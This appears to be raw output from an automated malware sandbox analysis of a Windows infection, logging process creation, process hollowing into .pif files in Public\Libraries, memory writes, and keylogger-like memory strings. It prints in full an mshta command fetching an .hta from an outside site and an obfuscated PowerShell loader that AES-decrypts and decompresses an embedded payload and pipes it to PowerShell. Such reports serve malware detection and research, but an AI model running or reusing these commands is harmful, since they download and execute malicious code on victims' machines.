Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Memory allocated: C:\Users\Public\Libraries\bwsiuvcU.pif base: 400000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Memory allocated: C:\Users\Public\Libraries\bwsiuvcU.pif base: 121D0000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Memory allocated: C:\Users\Public\Libraries\bwsiuvcU.pif base: 400000 protect: page execute and read and write
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Memory allocated: C:\Users\Public\Libraries\bwsiuvcU.pif base: 1E090000 protect: page execute and read and write

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Roaming\uc.exe	Section unmapped: C:\Users\Public\Libraries\bwsiuvcU.pif base address: 400000	Jump to behavior
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Section unmapped: C:\Users\Public\Libraries\bwsiuvcU.pif base address: 400000
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Section unmapped: C:\Users\Public\Libraries\bwsiuvcU.pif base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\uc.exe	Memory written: C:\Users\Public\Libraries\bwsiuvcU.pif base: 2A5008	Jump to behavior
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Memory written: C:\Users\Public\Libraries\bwsiuvcU.pif base: 211008
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Memory written: C:\Users\Public\Libraries\bwsiuvcU.pif base: 239008

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW \| powershell -	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\uc.exe "C:\Users\user\AppData\Roaming\uc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\uc.exe	Process created: C:\Users\Public\Libraries\bwsiuvcU.pif C:\Users\Public\Libraries\bwsiuvcU.pif	Jump to behavior
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process created: C:\Users\Public\Libraries\bwsiuvcU.pif C:\Users\Public\Libraries\bwsiuvcU.pif
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Process created: C:\Users\Public\Libraries\bwsiuvcU.pif C:\Users\Public\Libraries\bwsiuvcU.pif

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $osfnkdw = 'aaaaaaaaaaaaaaaaaaaaaoega50v5wuo7zhydkcfzbjinq4p3h3rmsqozx56v9ct1bzutrzkwxrchczjinv9leat1ry1wlwkifuszfzqfe/ywmqadzxsneytupy+5le4m5em4w+ywzersnn/urcy8+ztg58q1h/+bzdob3w2o1z7qwzthsnzgxowwnyv7tmyxzckvr/w4wq5ilvqcut+dsc1oheaxo3ndd5i7/vznrbilxsn6hcnaactlxfrinfmskdcn8+7w2lqhnfd5fxx+lgvrrg0ld6mdkv9wdbx6qjfidrmhcmclwuj1bf5mnmwfno28v0dg8ts2l8miodvr6azf2v7aj+0kyrmlbddhywfi7okvra/3xzllb5bbqdqe0oot0jai3+7gtkwesgjwchgeuewtwqamcb6a7qrzrsbpayqu/wal9/nkc9cb9jhujr2itv9ek3kerad+eapojond7bqukjve9tlodwypko7ylwxtqf8wgzm0ja3mfkmwkgljtfbjt7ucygj4klx/zk01swb2yhhmutyge58lhzygfngyycqtkg4k9tn5i5bstesfzehotkeivad+ckvo0hl0r5uz5gqb2ew8dgcuwkpmexzvkk4b1gapu3smbdkvfrvuhgsjc5t6hhsztvvp6jz9v2fjj6ahm37dhgqwqsoihz9dfusra5c/+avs0ho38mgy4fjkp6ou6wm3p9bykwtvtrulafl604cotxxeoc6ge6trnaardid6zmwy1sykkettlg2js0b7n2fwa1gsa==';$jifvezk = 'cfrkugzlwwl4r2zhdlp1wlrocflzr3rfvutmamhetuc=';$ugiwrbah = new-object 'system.security.cryptography.aesmanaged';$ugiwrbah.mode = [system.security.cryptography.ciphermode]::ecb;$ugiwrbah.padding = [system.security.cryptography.paddingmode]::zeros;$ugiwrbah.blocksize = 128;$ugiwrbah.keysize = 256;$ugiwrbah.key = [system.convert]::frombase64string($jifvezk);$vpsle = [system.convert]::frombase64string($osfnkdw);$ubmsttpl = $vpsle[0..15];$ugiwrbah.iv = $ubmsttpl;$clyzavcnc = $ugiwrbah.createdecryptor();$evtppvfwq = $clyzavcnc.transformfinalblock($vpsle, 16, $vpsle.length - 16);$ugiwrbah.dispose();$darjcu = new-object system.io.memorystream( , $evtppvfwq );$wdjfzjy = new-object system.io.memorystream;$mtmsbjehy = new-object system.io.compression.gzipstream $darjcu, ([io.compression.compressionmode]::decompress);$mtmsbjehy.copyto( $wdjfzjy );$mtmsbjehy.close();$darjcu.close();[byte[]] $dvtmfgse = $wdjfzjy.toarray();$ghwdgw = [system.text.encoding]::utf8.getstring($dvtmfgse);$ghwdgw \| powershell -
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop $osfnkdw = 'aaaaaaaaaaaaaaaaaaaaaoega50v5wuo7zhydkcfzbjinq4p3h3rmsqozx56v9ct1bzutrzkwxrchczjinv9leat1ry1wlwkifuszfzqfe/ywmqadzxsneytupy+5le4m5em4w+ywzersnn/urcy8+ztg58q1h/+bzdob3w2o1z7qwzthsnzgxowwnyv7tmyxzckvr/w4wq5ilvqcut+dsc1oheaxo3ndd5i7/vznrbilxsn6hcnaactlxfrinfmskdcn8+7w2lqhnfd5fxx+lgvrrg0ld6mdkv9wdbx6qjfidrmhcmclwuj1bf5mnmwfno28v0dg8ts2l8miodvr6azf2v7aj+0kyrmlbddhywfi7okvra/3xzllb5bbqdqe0oot0jai3+7gtkwesgjwchgeuewtwqamcb6a7qrzrsbpayqu/wal9/nkc9cb9jhujr2itv9ek3kerad+eapojond7bqukjve9tlodwypko7ylwxtqf8wgzm0ja3mfkmwkgljtfbjt7ucygj4klx/zk01swb2yhhmutyge58lhzygfngyycqtkg4k9tn5i5bstesfzehotkeivad+ckvo0hl0r5uz5gqb2ew8dgcuwkpmexzvkk4b1gapu3smbdkvfrvuhgsjc5t6hhsztvvp6jz9v2fjj6ahm37dhgqwqsoihz9dfusra5c/+avs0ho38mgy4fjkp6ou6wm3p9bykwtvtrulafl604cotxxeoc6ge6trnaardid6zmwy1sykkettlg2js0b7n2fwa1gsa==';$jifvezk = 'cfrkugzlwwl4r2zhdlp1wlrocflzr3rfvutmamhetuc=';$ugiwrbah = new-object 'system.security.cryptography.aesmanaged';$ugiwrbah.mode = [system.security.cryptography.ciphermode]::ecb;$ugiwrbah.padding = [system.security.cryptography.paddingmode]::zeros;$ugiwrbah.blocksize = 128;$ugiwrbah.keysize = 256;$ugiwrbah.key = [system.convert]::frombase64string($jifvezk);$vpsle = [system.convert]::frombase64string($osfnkdw);$ubmsttpl = $vpsle[0..15];$ugiwrbah.iv = $ubmsttpl;$clyzavcnc = $ugiwrbah.createdecryptor();$evtppvfwq = $clyzavcnc.transformfinalblock($vpsle, 16, $vpsle.length - 16);$ugiwrbah.dispose();$darjcu = new-object system.io.memorystream( , $evtppvfwq );$wdjfzjy = new-object system.io.memorystream;$mtmsbjehy = new-object system.io.compression.gzipstream $darjcu, ([io.compression.compressionmode]::decompress);$mtmsbjehy.copyto( $wdjfzjy );$mtmsbjehy.close();$darjcu.close();[byte[]] $dvtmfgse = $wdjfzjy.toarray();$ghwdgw = [system.text.encoding]::utf8.getstring($dvtmfgse);$ghwdgw \| powershell -			Jump to behavior

Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerLR
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q8<b>[ Program Manager]</b> (24/04/2024 13:36:37)<br>{Win}TH
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q9<b>[ Program Manager]</b> (24/04/2024 13:36:37)<br>{Win}rTH
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managert-
Source: bwsiuvcU.pif, 00000017.00000002.1680679015.000000003DE6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q3<b>[ Program Manager]</b> (24/04/2024 13:36:37)<br>

Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	19_2_0299D5D0
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	19_2_02985A90
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: GetLocaleInfoA,	19_2_0298A780
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: GetLocaleInfoA,	19_2_0298A7CC
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	19_2_02985B9C
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: InetIsOffline,CoInitialize,CoUninitialize,WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	19_2_0299D5D0
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	19_2_029A5FA0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: GetLocaleInfoA,	23_2_00417A20
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: GetLocaleInfoA,	23_1_00417A20
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: WinExec,WinExec,RtlMoveMemory,GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	24_2_028BD5D0
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	24_2_028A5A90
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: GetLocaleInfoA,	24_2_028AA7CC
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	24_2_028A5B9B
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: GetCurrentProcess,EnumSystemLocalesA,ExitProcess,	24_2_028C5F9F
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: GetLocaleInfoA,	25_2_00417A20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
